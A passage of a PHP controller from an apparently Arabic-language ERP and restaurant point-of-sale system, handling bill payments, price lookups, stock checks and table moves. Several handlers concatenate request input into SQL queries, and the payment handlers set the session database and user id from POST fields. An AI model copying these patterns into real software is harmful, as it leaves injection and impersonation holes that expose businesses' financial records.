        foreach ($availableSerials as $data) {
            $row_array['id'] = $data->productserailid;
            $row_array['text'] = $data->serialnumber;
            $row_array['don'] = $data->don;
            $row_array['enddate'] = $data->enddate;
            array_push($return_arr, $row_array);

            $i++;
        }
    }


    //echo $return_arr;
    echo json_encode($return_arr);
} elseif ($do == "getlastbill") {
    $clintid = $_POST['id'];
    $kind = $_POST['kind'];
    $getlastbill = $mySellbillEx->getlastbill($clintid);
    if ($getlastbill->sellbillid > 0) {
        $getlastrestaurantorder = $restaurantOrderEX->getlastrestaurantorder($getlastbill->sellbillid);
        $getlastrestaurantorderdetails = $restaurantOrderDetailsEX->getlastrestaurantorderdetails((int) $getlastrestaurantorder->id);


        $output = '<h5> ' . $getlastrestaurantorder->sysdate . '</h5>
   <table class="table table-bordered">
  <thead>
    <tr>
      <th scope="col">الاسم</th>
      <th scope="col">الكميه</th>';
        if ($kind != 1) {
            $output .= ' <th scope="col">السعر</th>
      <th scope="col">الاجمالى</th>';
        }
        $output .= '</tr>
  </thead>
  <tbody>';
        foreach ($getlastrestaurantorderdetails as $data) {
            $output .= '<tr>
      <td>' . $data->productName . '</td>
      <td>' . $data->quantity . '</td>';
            if ($kind != 1) {
                $output .= '<td>' . $data->price . '</td>
      <td>' . $data->quantity * $data->price . '</td>';
            }
            $output .= '</tr>';
            $total += $data->quantity * $data->price;
        }

        $output .= '</tbody>
</table>
 <h5>الاجمالى  : ' . $total . '</h5>';
    }

    echo $output;
} elseif ($do == "getBillsNumbers") {
    $row_array = array();
    $return_arr = array();

    $billno = $_GET['term']; //It could be product name or category name
    $limit = intval($_GET['page_limit']);

    $bills = $mySellbillEx->getBillsNumbersList($billno);
    foreach ($bills as $bill) {
        $row_array['id'] = $bill->sellbillid;
        $row_array['text'] = $bill->sellbillid;
        array_push($return_arr, $row_array);
    }

    //print_r($clients);
    echo json_encode($return_arr);
} elseif ($do == "getBillsNumbersret") {
    $row_array = array();
    $return_arr = array();

    $billno = $_GET['term']; //It could be product name or category name
    $limit = intval($_GET['page_limit']);

    $bills = $myReturnsellbillEx->getBillsNumbersList($billno);
    foreach ($bills as $bill) {
        $row_array['id'] = $bill->returnsellbillid;
        $row_array['text'] = $bill->returnsellbillid;
        array_push($return_arr, $row_array);
    }

    //print_r($clients);
    echo json_encode($return_arr);
} elseif ($do == "getBankAccount") {
    $row_array = array();
    $return_arr = array();

    $name = $_GET['term']; //It could be product name or category name
    $limit = intval($_GET['page_limit']);

    $queryString = '';
    if (!empty($name)) {
        $queryString .= ' and (bank.bankname like "%' . $name . '%" or bankaccount.accountname like "%' . $name . '%" ) ';
    }
    $bankAccounts = $myBankaccountEx->queryWithConditons($queryString);
    foreach ($bankAccounts as $row) {
        $row_array['id'] = $row->accountid;
        $row_array['text'] = $row->bankname . '/' . $row->accountname;
        array_push($return_arr, $row_array);
    }

    //print_r($clients);
    echo json_encode($return_arr);
} elseif ($do == "makeSellBillPayment") {
    $id_pay = $_POST['id_pay'];
    $erpDB = $_POST['erpDB'];
    if (isset($erpDB) && !empty($erpDB)) {
        $_SESSION['dbname'] = $erpDB;

        if (isset($_POST['userId_Add']) && $_POST['userId_Add'] > 0)
            $_SESSION['userid'] = (int) $_POST['userId_Add'];
        elseif (isset($_POST['userId']) && $_POST['userId'] > 0)
            $_SESSION['userid'] = (int) $_POST['userId'];
        else
            $_SESSION['userid'] = 1;

        $id_pay = json_decode($id_pay);
        //this step to change items of array from stdclass to keyvalue pair
        $id_pay = json_decode(json_encode($id_pay), true);
    }

    $client_bills = array();
    $visitId_clientdebtchangeid_arr = array();
    foreach ($id_pay as $val) {
        $bill_no = $val["bill_id"];
        $pay = $val["payed"];
        $paytype = $val["paytype"];

        if (isset($val['saveId_Add']) && $val['saveId_Add'] > 0 && isset($_POST['userId_Add']) && $_POST['userId_Add'] > 0) { //for royal
            $saveid = $val["saveId_Add"];
            $paytype_txt = $val["paytype_txt_Add"];
        } elseif (isset($val['saveId']) && $val['saveId'] > 0 && isset($_POST['userId']) && $_POST['userId'] > 0) { //for royal too
            $saveid = $val["saveId"];
            $paytype_txt = $val["paytype_txt"];
        } else { //for erp
            $saveid = $val["saveId"];
            $paytype_txt = $val["paytype_txt"];
        }

        $bankAccountId = $val["bankAccountId"];
        $rowComment = $val["note"];
        $payVisitId = $val["payVisitId"]; //for royal " obygy "
        //

        if ($val['getFreshVames'] == 1) {
            $paytype_txt = "";
            if ($paytype == "save") {
                $name = R::getCell('select savename from save where saveid=' . $saveid);
                $paytype_txt = 'خزنة - ' . $name;
            } elseif ($paytype == "bank") {
                $name = R::getCell('SELECT CONCAT(accountname,"/", bank.bankname)
			 FROM bankaccount JOIN bank
			 ON bankaccount.bankid = bank.bankid
			 where  accountid = ' . $bankAccountId);
                $paytype_txt = 'بنك - ' . $name;
            }
        }

        $return_data = makeSellBillPayment($bill_no, $paytype_txt, $pay, $paytype, $saveid, $bankAccountId, $rowComment);
        if ($return_data == -1000) {
            echo -1000;
            exit();
        }
        if ($return_data == -2000) {// bill is deleted
            echo -2000;
            exit();
        }
        $clientdebtchangeid = $return_data[1];



        if ($val['serviceMoney'] > 0) {//make income for shipping bill
            if ($saveid > 0) {

            } else {
                $saveid = (isset($_SESSION['saveid']) && $_SESSION['saveid'] > 0) ? $_SESSION['saveid'] : 1;
            }
            // parent is ايرادات خدمات ماليه
            $dataToSend = array('useERPIDs' => 1, 'parent' => 1, 'name' => 'ايرادات خدمات ماليه للفاتوره ' . $bill_no . ' ', 'Value' => $val['serviceMoney'], 'saveid' => $saveid, 'comment' => '');
            $res = CURL_Request($dataToSend, 'api_web.php?do=incomeadd', 0, 1, getenv('erpToken'), 'POST');
            $res = json_decode($res);
            R::exec('update sellbill set incomeId= ' . $res->id . ' where sellbillid=' . $bill_no);
        }
        //echo $clientdebtchangeid;
        //# for select data and print it .
        if (isset($erpDB) && !empty($erpDB)) {
            //it is Objy Service we dont show that data
            $rowArr = array();
            $rowArr['payVisitId'] = $payVisitId;
            $rowArr['paytype'] = $paytype;
            $rowArr['clientdebtchangeid'] = $clientdebtchangeid;
            $rowArr['bill_no'] = $bill_no;
            $visitId_clientdebtchangeid_arr[$paytype . "-" . $bill_no] = $rowArr;
            //array_push($visitId_clientdebtchangeid_arr, $rowArr);
        } else {
            $where = ' where sellbill.sellbillid = ' . $bill_no . ' ';

            $clientBills = $sellBillEX->queryallWithOrder($where); //$queryString
            foreach ($clientBills as $cli_bill_val) {

                $bill_id = (int) $cli_bill_val->sellbilli;
                $client_dept_change = $clientDeptChangeExt->sumByBillIdAndControl($bill_id, 'clientPayedDeptSellBillsController.php');
                $client_dept_change_2 = $clientDeptChangeExt->lastByBillIdAndControl($bill_no, 'clientPayedDeptSellBillsController.php');

                $waitvalue = $cli_bill_val->sellbillfinalbill - $client_dept_change->clientdebtchangeamount; //# قيمة الدين
                //if( $waitvalue > 0 ){
                $client_bills[] = array(
                    'id' => $cli_bill_val->sellbillid,
                    'billno' => $cli_bill_val->sellbillid,
                    'finalnetbillvalue' => $cli_bill_val->sellbillaftertotalbill,
                    'waitvalue' => $cli_bill_val->sellbillfinalbill - $client_dept_change->clientdebtchangeamount + $client_dept_change_2->clientdebtchangeamount,
                    'total_payed' => $cli_bill_val->sellbilltotalpayed + $client_dept_change->clientdebtchangeamount - $client_dept_change_2->clientdebtchangeamount,
                    'paytype' => $client_dept_change_2->paytype,
                    'payed_val' => $client_dept_change_2->clientdebtchangeamount,
                    'date' => $client_dept_change_2->clientdebtchangedate,
                );
                //}
            }



            //# update bill .
            //        $bill = $billsDAO->queryByBillno($bill_no);
            //        $bill[0]->cashvalue = $bill[0]->cashvalue + $pay;
            //        $bill[0]->waitvalue =  $bill[0]->waitvalue - $pay;
            //
            //        $billsDAO->update($bill[0]);
        }
    }

    if (isset($_POST['curlpost']) && $_POST['curlpost'] == 1) {
        $data = array('status' => 1, 'message' => 'تمت العمليه بنجاح', 'message_en' => 'Success');
        echo json_encode($data);
    } else if (isset($erpDB) && !empty($erpDB)) {
        //it is Objy Service we dont show that data
        //echo 1;
        echo json_encode($visitId_clientdebtchangeid_arr);
    } else {
        $smarty->assign("client", $client);
        $smarty->assign("client_bills", $client_bills);

        $smarty->display("clientPayedDeptSellBillsView/print_client_dept.html"); //the template page
    }
} elseif ($do == "makeReturnSellBillPayment") {
    $id_pay = $_POST['id_pay'];
    $erpDB = $_POST['erpDB'];
    if (isset($erpDB) && !empty($erpDB)) {
        $_SESSION['dbname'] = $erpDB;
        $_SESSION['userid'] = (isset($_POST['userId']) && $_POST['userId'] > 0) ? (int) $_POST['userId'] : 1;
        $id_pay = json_decode($id_pay);
        //this step to change items of array from stdclass to keyvalue pair
        $id_pay = json_decode(json_encode($id_pay), true);
    }

    $client_bills = array();

    foreach ($id_pay as $val) {
        $bill_no = $val["bill_id"];
        $pay = $val["payed"];
        $paytype_txt = $val["paytype_txt"];
        $paytype = $val["paytype"];
        $saveid = $val["saveId"];
        $bankAccountId = $val["bankAccountId"];
        $rowComment = $val["note"];

        //
        $return_data = makeReturnSellBillPayment($bill_no, $paytype_txt, $pay, $paytype, $saveid, $bankAccountId, $rowComment);
        $clientdebtchangeid = $return_data[1];
        //echo $clientdebtchangeid;
        //# for select data and print it .
        if (isset($erpDB) && !empty($erpDB)) {
            //it is Objy Service we dont show that data
        } else {
            $where = ' and returnsellbill.returnsellbillid = ' . $bill_no . ' ';

            $clientBills = $myReturnsellbillEx->queryWithOrder($where);
            foreach ($clientBills as $cli_bill_val) {

                $bill_id = (int) $cli_bill_val->returnsellbillid;
                $client_dept_change = $clientDeptChangeExt->sumByBillIdAndControl($bill_id, 'clientPayedDeptReturnSellBillsController.php');
                $client_dept_change_2 = $clientDeptChangeExt->lastByBillIdAndControl($bill_no, 'clientPayedDeptReturnSellBillsController.php');

                $waitvalue = $cli_bill_val->sellbillfinalbill - $client_dept_change->clientdebtchangeamount; //# قيمة الدين
                //if( $waitvalue > 0 ){
                $client_bills[] = array(
                    'id' => $cli_bill_val->returnsellbillid,
                    'billno' => $cli_bill_val->returnsellbillid,
                    'finalnetbillvalue' => $cli_bill_val->returnsellbillaftertotalbill,
                    'waitvalue' => $cli_bill_val->returnsellbillfinalbill + $client_dept_change->clientdebtchangeamount - $client_dept_change_2->clientdebtchangeamount,
                    'total_payed' => $cli_bill_val->returnsellbilltotalpayed + $client_dept_change->clientdebtchangeamount - $client_dept_change_2->clientdebtchangeamount,
                    'paytype' => $client_dept_change_2->paytype,
                    'payed_val' => $client_dept_change_2->clientdebtchangeamount,
                    'date' => $client_dept_change_2->clientdebtchangedate,
                );
                //}
            }



            //# update bill .
            //        $bill = $billsDAO->queryByBillno($bill_no);
            //        $bill[0]->cashvalue = $bill[0]->cashvalue + $pay;
            //        $bill[0]->waitvalue =  $bill[0]->waitvalue - $pay;
            //
            //        $billsDAO->update($bill[0]);
        }
    }


    if (isset($_POST['curlpost']) && $_POST['curlpost'] == 1) {
        $data = array('status' => 1, 'message' => 'تمت العمليه بنجاح', 'message_en' => 'Success');
        echo json_encode($data);
    } else if (isset($erpDB) && !empty($erpDB)) {
        //it is Objy Service we dont show that data
        echo 1;
    } else {
        $smarty->assign("client", $client);
        $smarty->assign("client_bills", $client_bills);

        $smarty->display("clientPayedDeptSellBillsView/print_client_dept.html"); //the template page
    }
} elseif ($do == "delMakeSellBillPayment") {
    delMakeSellBillPayment();
} elseif ($do == "delmakeReturnSellBillPayment") {
    delmakeReturnSellBillPayment();
}
////////////////////////////return sell bill//////////////////////////////
elseif ($do == "getreturnpriceByOnlyProduct" && isset($productId) && $productId != "-1" && isset($productUnit) && $productUnit != "-1" && isset($priceType) && $priceType != "-1") {


    // here the function that do the action
    //$productData = getProoductPriceByonlyProductId($productId);
    if (strpos($productId, "hasSizeColor") !== false) {
        $productIdComplex = explode('-', str_replace("hasSizeColor", "", $productId));
        $productId = $productIdComplex[0];
    }
    $productData = getProoductPriceByProductunit($productId, $productUnit);

    //تجزئة
    if ($priceType == 1) {
        $price = $productData->productSellUnitPrice;
    }
    //جملة
    elseif ($priceType == 0) {
        $price = $productData->productSellAllPrice;
    }
    //نصف جملة
    elseif ($priceType == 2) {
        $price = $productData->productSellHalfPrice;
    }



    if ($productData->selldiscount > 0 && $productData->discounttype == 0) {

        $productPrice = $price - $productData->selldiscount;
    } elseif ($productData->selldiscount > 0 && $productData->discounttype == 1) {

        $productPrice = $price - ((($productData->selldiscount) / 100) * ($price));
    } else {
        $productPrice = $price;
    }


    //    $productnumberData = $myProductunitRecord->load($productUnit);
    //    $productnumber = $productnumberData->productnumber;
    //    $productPrice = $productPrice * $productnumber;
    ##default values of $pricehtml and $discounthtml are zero
    $pricehtml = '<input type = "text" name = "returnproprice' . $itr . '" id = "returnproprice' . $itr . '" class = "form-control getreurnprototal txt-nonraduis returnenteraction numberinput positivefloat" tabindex = "' . $tabindex . '" value = "' . $productPrice . '" />
                    <input name = "returnquantity' . $itr . '" id = "quantity' . $itr . '" type = "hidden" value = "" size = "7" readonly />
                    <input name = "returnproductpricetype' . $itr . '" id = "returnproductpricetype' . $itr . '" type = "hidden" value = "0" size = "7" readonly />';
    $discounthtml = '<input type="hidden" id="retLastClientDisVal' . $itr . '" value="0"/>
                     <input type="hidden" id="retLastClientDisPer' . $itr . '" value="0"/>';

    if (isset($clientId) && $clientId != "" && $clientId != "-2" && $clientId != "1" && ($Programsettingdata->showPrevPricesRet == 0 || $Programsettingdata->showPrevDiscountRet == 1)) {
        $returnsellbilldetailData = getProductPriceFromSellBill($productId, $clientId, $productUnit);

        // if has selldata and setting want to use last price data
        if (count($returnsellbilldetailData[0]) > 0 && $Programsettingdata->showPrevPricesRet == 0) {
            $pricehtml = '<input type = "text" name = "returnproprice' . $itr . '" id = "returnproprice' . $itr . '" class = "form-control getreurnprototal txt-nonraduis returnenteraction numberinput positivefloat" tabindex = "' . $tabindex . '" value = "' . $returnsellbilldetailData[1] . '" />

                    <input name = "quantity' . $itr . '" id = "quantity' . $itr . '" type = "hidden" value = "" size = "7" readonly />
                    <input name = "returnproductpricetype' . $itr . '" id = "returnproductpricetype' . $itr . '" type = "hidden" value = "1" size = "7" readonly />';
        }
        // if has selldata and setting want to use last discount data
        if (count($returnsellbilldetailData[0]) > 0 && $Programsettingdata->showPrevDiscountRet == 1) {
            $discounthtml = '<input type="hidden" id="retLastClientDisVal' . $itr . '" value="' . $returnsellbilldetailData[0]->discountvalue . '"/>
                             <input type="hidden" id="retLastClientDisPer' . $itr . '" value="' . $returnsellbilldetailData[0]->discounttype . '"/>';
        }
    }
    echo $pricehtml . $discounthtml;
} elseif ($do == "getreturnunit" && isset($productId) && $productId != "-1") {
    $productunitData = loadReturnProductUnit($productId, $parcode);

    $smarty->assign("tabindex", $tabindex);
    $smarty->assign("itr", $itr);
} elseif ($do == "getreturnparcode" && isset($productId) && $productId != "-1") {

} elseif ($do == "addClient") {
    addClient();

    $clientData = loadClient();
    $smarty->assign("clientData", $clientData);

    $smarty->display("sellbillview/client.html");
} elseif ($do == "getProducts") {
    $productsData = loadProductWithByName();
    $smarty->assign("productsData", $productsData);
} elseif ($do == "getProducts2") {
    $productsData = loadProductWithByName2();
    $smarty->assign("productsData", $productsData);
} elseif ($do == "loadProductWithByParcode") {
    $productsData = loadProductWithByParcode();
    $smarty->assign("productsData", $productsData);
} elseif ($do == "loadProductWithByName2deleted") {
    $productsData = loadProductWithByName2deleted();
    $smarty->assign("productsData", $productsData);
} elseif ($do == "getProductsexpenses") {
    getProductsexpenses();
} elseif ($do == "getFinalProducts") {
    $productsData = getFinalProducts();
    $smarty->assign("productsData", $productsData);
} elseif ($do == "GetRawMaterials") {
    $productsData = GetRawMaterials();
    $smarty->assign("productsData", $productsData);
} elseif ($do == "getFinalProductsWithProductionRate") {
    $productsData = getFinalProductsWithProductionRate();
    $smarty->assign("productsData", $productsData);
} elseif ($do == "getFinalProductsWithOutProductionRate") {
    $productsData = getFinalProductsWithOutProductionRate();
    $smarty->assign("productsData", $productsData);
} elseif ($do == "getProductsbyandstor") {
    $storeid = $_GET["storeid"];
    $productsData = getProductsbyandstor($storeid);
    $smarty->assign("productsData", $productsData);
} elseif ($do == "getProductsbyandstornoservice") {
    $storeid = $_GET["storeid"];
    $productsData = getProductsbyandstorNoService($storeid);
    $smarty->assign("productsData", $productsData);
} elseif ($do == "getProductsbyandstornoservice2") {
    $storeid = $_GET["storeid"];
    $procat = $_GET["procat"];
    $productsData = getProductsbyandstorNoService2($storeid, $procat);
    $smarty->assign("productsData", $productsData);
} elseif ($do == "addNewproduct") {
    $billnameId = $_GET['billnameid'];

    $newproductItr = $_GET['newproductItr'];
    $smarty->assign("itr", $newproductItr);

    $newproductTabIndex = $_GET['newproductTabIndex'];
    $smarty->assign("newproductTabIndex", $newproductTabIndex);

    $flag = addNewproduct();
    if ($flag[0] == 1) {
        $billsettingsData = loadBillProperty($billnameId);
        $smarty->assign("billsettingsData", $billsettingsData);

        $newProductData = $myProductRecord->load($flag[1]);
        $smarty->assign("newProductData", $newProductData);

        $productunitData = loadProductUnitDefault($flag[1]);
        $smarty->assign("productunitData", $productunitData);

        $userdata = $userDAO->load($_SESSION['userid']);
        $smarty->assign("userdata", $userdata);

        $storeData = $myStoreRecord->queryByConditions(0);
        $smarty->assign("storeData", $storeData);

        $Programsettingdata = $programSettingDAO->load(1);
        $smarty->assign("Programsettingdata", $Programsettingdata);

        $smarty->display("sellbillview/newproduct.html");
    } else {
        echo $flag[0];
    }
} elseif ($do == "getproductNamebyOnlyId" && isset($productId) && $productId != "") {
    loadProductById($productId);
}
##
elseif ($do == "checkserial") {
    $value = $_POST['bsn'];
    $oldid = $_POST['oldid'];
    //$row = $mySellbillRecord->queryBySellbillserial($value);
    $row = $mySellbillEx->isSerialUnique($value, $oldid);
    if (!empty($row)) {
        echo -1;
    } else {
        echo 1;
    }
}
##
elseif ($do == "getpriceall" && isset($productId) && $productId != "-1" && isset($productUnit) && $productUnit != "-1" && isset($priceType) && $priceType != "-1" && $itr >= 0) {
    // here the function that do the action
    $sizeId = 0;
    $colorId = 0;
    $sizeColorStoreDetailId = 0;
    if (strpos($productId, "hasSizeColor") !== false) {
        $productIdComplex = explode('-', str_replace("hasSizeColor", "", $productId));
        $productId = $productIdComplex[0];
        $sizeId = $productIdComplex[1];
        $colorId = $productIdComplex[2];
        //$sizeColorStoreDetailId = $sizeColorStoreDetailEX->getIdByProductStoreSizeAndColorEX($productId, $sellbillstoreId, $sizeId, $colorId);
    }
    $productData = $myProductRecord->load($productId);
    $catData = $productCatDAO->load($productData->productCatId);
    //change productprices to unit prices
    $productunitData = $myProductunitRecord->load($productUnit);
    //has to check for $Programsettingdata->measuringunit == 0 as it should be shown "first for client to see his prices" "second if no measuringunit no need as unit prices might be wrong or not set"
    if (isset($productUnit) && !empty($productUnit) && $Programsettingdata->measuringunit == 0 && $Programsettingdata->showPrevPrices == 0) {
        $productData->productSellUnitPrice = $productunitData->proUnitSellUnitPrice;
        $productData->productSellAllPrice = $productunitData->proUnitSellAllPrice;
        $productData->productSellHalfPrice = $productunitData->proUnitSellHalfPrice;
        $productData->price4 = $productunitData->proUnitPrice4;
        $productData->price5 = $productunitData->proUnitPrice5;
        $productData->price6 = $productunitData->proUnitPrice6;
        $productData->price7 = $productunitData->proUnitPrice7;
        $productData->price8 = $productunitData->proUnitPrice8;
        $productData->price9 = $productunitData->proUnitPrice9;
        $productData->price10 = $productunitData->proUnitPrice10;
        $productData->price11 = $productunitData->proUnitPrice11;
        $productData->price12 = $productunitData->proUnitPrice12;
        $productData->price13 = $productunitData->proUnitPrice13;
    }

    $listDiscountPer = 0;
    //تجزئة
    if ($priceType == 1) {
        $price = $productData->productSellUnitPrice;
        if ($Programsettingdata->useListPrice == 1)
            $listDiscountPer = $catData->buypart;
    }
    //جملة
    elseif ($priceType == 0) {
        $price = $productData->productSellAllPrice;
        if ($Programsettingdata->useListPrice == 1)
            $listDiscountPer = $catData->buytotal;
    }
    //نصف جملة
    elseif ($priceType == 2) {
        $price = $productData->productSellHalfPrice;
        if ($Programsettingdata->useListPrice == 1)
            $listDiscountPer = $catData->buyhalf;
    } elseif ($priceType == 4) {
        $price = $productData->price4;
        if ($Programsettingdata->useListPrice == 1)
            $listDiscountPer = $catData->price4;
    } elseif ($priceType == 5) {
        $price = $productData->price5;
        if ($Programsettingdata->useListPrice == 1)
            $listDiscountPer = $catData->price5;
    } elseif ($priceType == 6) {
        $price = $productData->price6;
        if ($Programsettingdata->useListPrice == 1)
            $listDiscountPer = $catData->price6;
    } elseif ($priceType == 7) {
        $price = $productData->price7;
        if ($Programsettingdata->useListPrice == 1)
            $listDiscountPer = $catData->price7;
    } elseif ($priceType == 8) {
        $price = $productData->price8;
        if ($Programsettingdata->useListPrice == 1)
            $listDiscountPer = $catData->price8;
    } elseif ($priceType == 9) {
        $price = $productData->price9;
        if ($Programsettingdata->useListPrice == 1)
            $listDiscountPer = $catData->price9;
    } elseif ($priceType == 10) {
        $price = $productData->price10;
        if ($Programsettingdata->useListPrice == 1)
            $listDiscountPer = $catData->price10;
    } elseif ($priceType == 11) {
        $price = $productData->price11;
        if ($Programsettingdata->useListPrice == 1)
            $listDiscountPer = $catData->price11;
    } elseif ($priceType == 12) {
        $price = $productData->price12;
        if ($Programsettingdata->useListPrice == 1)
            $listDiscountPer = $catData->price12;
    } elseif ($priceType == 13) {
        $price = $productData->price13;
        if ($Programsettingdata->useListPrice == 1)
            $listDiscountPer = $catData->price13;
    }
    //get category discounts
    //$catData = $productCatDAO->load($productData->productCatId);
    if ($catData->selldiscount > 0 && $catData->discounttype == 0) {
        $price = $price - $catData->selldiscount;
    } elseif ($catData->selldiscount > 0 && $catData->discounttype == 1) {
        $price = $price - ((($catData->selldiscount) / 100) * ($price));
    } else {
        $price = $price;
    }

    //    $productnumberData = $myProductunitRecord->load($productUnit);
    //    $productnumber = $productnumberData->productnumber;
    //    $productPrice = $price * $productnumber;
    $productPrice = $price;

    ##
    if ($Programsettingdata->useListPrice == 1) {
        $productPrice = $productPrice + (($productPrice * $listDiscountPer) / 100);
        $productPriceUnit = $productPriceUnit + (($productPriceUnit * $listDiscountPer) / 100);
    }

    echo $productPrice . "/" . $itr;
}
##
elseif ($do == "checkNegative") {
    $unsufficeint_quantity_arr = array();
    $product_store_arr = filter_input(INPUT_POST, "product_store_arr");

    $product_store_arr = json_decode($product_store_arr, true);
    //just echo an item in the array
    // echo "key_1 : " . $data["key_1"];
    foreach ($product_store_arr as $key => $value) {
        $key = explode("_", $key);
        //prepare data
        $store_id = $key[0];
        $product_id = $key[1];
        $productIdRecieved = $product_id;
        $sizeId = 0;
        $colorId = 0;
        if (strpos($product_id, "hasSizeColor") !== false) {
            $productIdComplex = explode('-', str_replace("hasSizeColor", "", $product_id));
            $product_id = $productIdComplex[0];
            $sizeId = $productIdComplex[1];
            $colorId = $productIdComplex[2];
        }
        $units_quantity_arr = $value;
        $product_data = $myProductRecord->load($product_id);
        $cat_data = $productCatDAO->load($product_data->productCatId);
        if ($product_data->isService == 0 && $cat_data->stopNegativeSale == 1) {
            //convert all units quantity in terms of main unit
            $required_quantity = 0;
            foreach ($units_quantity_arr as $unit_id => $quantity) {
                $productunitData = $myProductunitEx->queryWithProductIdAndUnitId($product_id, $unit_id);
                $productnumber = $productunitData->productnumber;
                $required_quantity += $quantity * $productunitData->productnumber;
            }
            //now get product quantity in store
            /**/
            if ($sizeId > 0 && $colorId > 0) {
                $sizeColorStoreDetail = $sizeColorStoreDetailEX->getIdByProductStoreSizeAndColorEX2($product_id, $store_id, $sizeId, $colorId);
                if (!isset($sizeColorStoreDetail->quantity) || empty($sizeColorStoreDetail->quantity) || $required_quantity > $sizeColorStoreDetail->quantity) {
                    //store quantity will be negative
                    $data = $store_id . "," . $productIdRecieved;
                    array_push($unsufficeint_quantity_arr, $data);
                }
            } else {
                $product_store_details = $myStoredetailEx->getProductQuantity($product_id, $store_id);
                if (!isset($product_store_details->productquantity) || empty($product_store_details->productquantity) || $required_quantity > $product_store_details->productquantity) {
                    //store quantity will be negative
                    $data = $store_id . "," . $product_id;
                    array_push($unsufficeint_quantity_arr, $data);
                }
            }
        }
    }
    //
    if (count($unsufficeint_quantity_arr) > 0) {
        echo json_encode($unsufficeint_quantity_arr);
    } else {
        echo 1; //all quantities are enough
    }
} elseif ($do == "checkNegative2") {
    $products_info_quantity_arr = array();
    $product_store_arr = filter_input(INPUT_POST, "product_store_arr");

    $product_store_arr = json_decode($product_store_arr, true);
    //just echo an item in the array
    // echo "key_1 : " . $data["key_1"];
    foreach ($product_store_arr as $key => $value) {
        $key = explode("_", $key);
        //prepare data
        $store_id = $key[0];
        $product_id = $key[1];
        $productIdRecieved = $product_id;
        $sizeId = 0;
        $colorId = 0;
        if (strpos($product_id, "hasSizeColor") !== false) {
            $productIdComplex = explode('-', str_replace("hasSizeColor", "", $product_id));
            $product_id = $productIdComplex[0];
            $sizeId = $productIdComplex[1];
            $colorId = $productIdComplex[2];
        }
        $units_quantity_arr = $value;
        $product_data = $myProductRecord->load($product_id);
        $cat_data = $productCatDAO->load($product_data->productCatId);
        $catSetting = $cat_data->stopNegativeSale;
        $quantityIsSuffecient = 1;
        if ($product_data->isService == 0) {
            //convert all units quantity in terms of main unit
            $required_quantity = 0;
            foreach ($units_quantity_arr as $unit_id => $quantity) {
                $productunitData = $myProductunitEx->queryWithProductIdAndUnitId($product_id, $unit_id);
                $productnumber = $productunitData->productnumber;
                $required_quantity += $quantity * $productunitData->productnumber;
            }
            //now get product quantity in store
            /**/
            if ($sizeId > 0 && $colorId > 0) {
                $sizeColorStoreDetail = $sizeColorStoreDetailEX->getIdByProductStoreSizeAndColorEX2($product_id, $store_id, $sizeId, $colorId);
                if (!isset($sizeColorStoreDetail->quantity) || empty($sizeColorStoreDetail->quantity) || $required_quantity > $sizeColorStoreDetail->quantity) {
                    //store quantity will be negative
                    $quantityIsSuffecient = 0;
                }
                $data = $store_id . "," . $productIdRecieved . "," . $catSetting . "," . $quantityIsSuffecient;
                array_push($products_info_quantity_arr, $data);
            } else {
                $product_store_details = $myStoredetailEx->getProductQuantity($product_id, $store_id);
                if (!isset($product_store_details->productquantity) || empty($product_store_details->productquantity) || $required_quantity > $product_store_details->productquantity) {
                    //store quantity will be negative
                    $quantityIsSuffecient = 0;
                }
                $data = $store_id . "," . $product_id . "," . $catSetting . "," . $quantityIsSuffecient;
                array_push($products_info_quantity_arr, $data);
            }
        }
    }
    //
    echo json_encode($products_info_quantity_arr);
}
##
elseif ($do == "openTable") {
    $tableId = (int) $_POST["tableId"];
    $smarty->assign("tableIdCheckService", $tableId);

    $restaurantTableEX->updateBeingUsed(1, $tableId);
    $tableData = $restaurantTableDAO->load($tableId);
    //conditions are in html
    //show tables that not del and (user is allowed to see table   or   usergroup can see all tables )
    $Usergroupdata = $UsergroupDAO->load($_SESSION['usergroupid']);
    $smarty->assign("Usergroupdata", $Usergroupdata);
    if ($Usergroupdata->takeAway == 1 && $Usergroupdata->delivery == 1 && $Usergroupdata->hall == 1) {
        $queryString = '';
    } else if ($Usergroupdata->takeAway == 0 && $Usergroupdata->delivery == 0 && $Usergroupdata->hall == 0) {
        $queryString = ' and restauranttable.id = -1000 ';
    } else {
        $queryString = ' and ( ';
        if ($Usergroupdata->hall == 1) {
            $queryString .= ' restauranttable.id > 0 ';
        }
        if ($Usergroupdata->takeAway == 1) {
            if ($Usergroupdata->hall == 1) {
                $queryString .= ' or ';
            }
            $queryString .= ' restauranttable.id = -1  ';
        }
        if ($Usergroupdata->delivery == 1) {
            if ($Usergroupdata->hall == 1 || $Usergroupdata->takeAway == 1) {
                $queryString .= ' or ';
            }
            $queryString .= ' restauranttable.id = -2 ';
        }
        $queryString .= ' ) ';
    }

    $restaurantTables = $restaurantTableEX->queryAllEX($queryString);
    foreach ($restaurantTables as $value) {
        $value->hallUsers = explode(',', $value->hallUsers);
    }
    $Usergroupdata = $UsergroupDAO->load($_SESSION['usergroupid']);
    $data = array($restaurantTables, $Usergroupdata, $tableData->name);
    echo json_encode($data);
} elseif ($do == "moveTable") {
    $oldTable = (int) $_POST["oldTable"]; //table to close
    $tableId = (int) $_POST["tableId"]; //table to add products to
    $smarty->assign("tableIdCheckService", $tableId);

    //Transaction
    $mytransactions = new Transaction();
    try {

        //
        $resTable = $restaurantTableDAO->load($tableId);
        $hallData = $restaurantHallDAO->load($resTable->hallid);
        //1- move products from old order to new order
        $oldOrder = $restaurantOrderEX->queryByTableIdNotFinishedEX($oldTable);
        $oldOrderId = 0;
        $newOrderId = 0;
        if (count($oldOrder) > 0) {
            $oldOrder = $oldOrder[0];
            $oldOrderId = $oldOrder->id;
            //## if there was old order get its data and transfere it to other table
            $oldorderDetails = $restaurantOrderDetailsDAO->queryByOrderId($oldOrderId);
            foreach ($oldorderDetails as $value) {
                //
                $productId = $value->productId;
                $quantity = $value->quantity;
                $productData = $productDAO->load($productId);
                //##this is the new order
                $order = $restaurantOrderEX->queryByTableIdNotFinishedEX($tableId);
                $orderId = 0;
                if (count($order) > 0) {
                    $order = $order[0];
                    $orderId = $newOrderId = $order->id;
                    //thersis order not finished
                    $orderDetails = $restaurantOrderDetailsEX->queryByOrderIdAndProduct($order->id, $productId);
                    if (count($orderDetails) > 0) {
                        //product already exist increase quantity
                        $orderDetails = $orderDetails[0];
                        $orderDetails->quantity += $quantity;
                        switch ($hallData->hallPrice) {
                            case 0:
                                $orderDetails->price = $productData->productSellAllPrice;
                                break;
                            case 1:
                                $orderDetails->price = $productData->productSellUnitPrice;
                                break;
                            case 2:
                                $orderDetails->price = $productData->productSellHalfPrice;
                                break;
                        }

                        $orderDetails->total = $orderDetails->price * $orderDetails->quantity;
